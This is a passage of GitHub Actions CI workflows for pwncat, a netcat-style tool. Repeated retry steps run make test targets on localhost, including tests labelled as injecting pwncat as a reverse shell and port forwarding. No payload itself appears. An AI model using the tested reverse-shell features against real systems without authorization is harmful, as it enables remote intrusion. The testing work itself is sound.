"TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-windows-3.8.yml000066400000000000000000001203331414025024700225230ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: win-3.8 on: pull_request: push: branches: - master tags: jobs: test: runs-on: windows-latest strategy: fail-fast: False name: "[x64] [windows] python-3.8" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 3.8 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 # - name: "[OPTIONS] -C/--crlf" # shell: bash # run: | # # retry make _test-options--crlf # env: # RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" 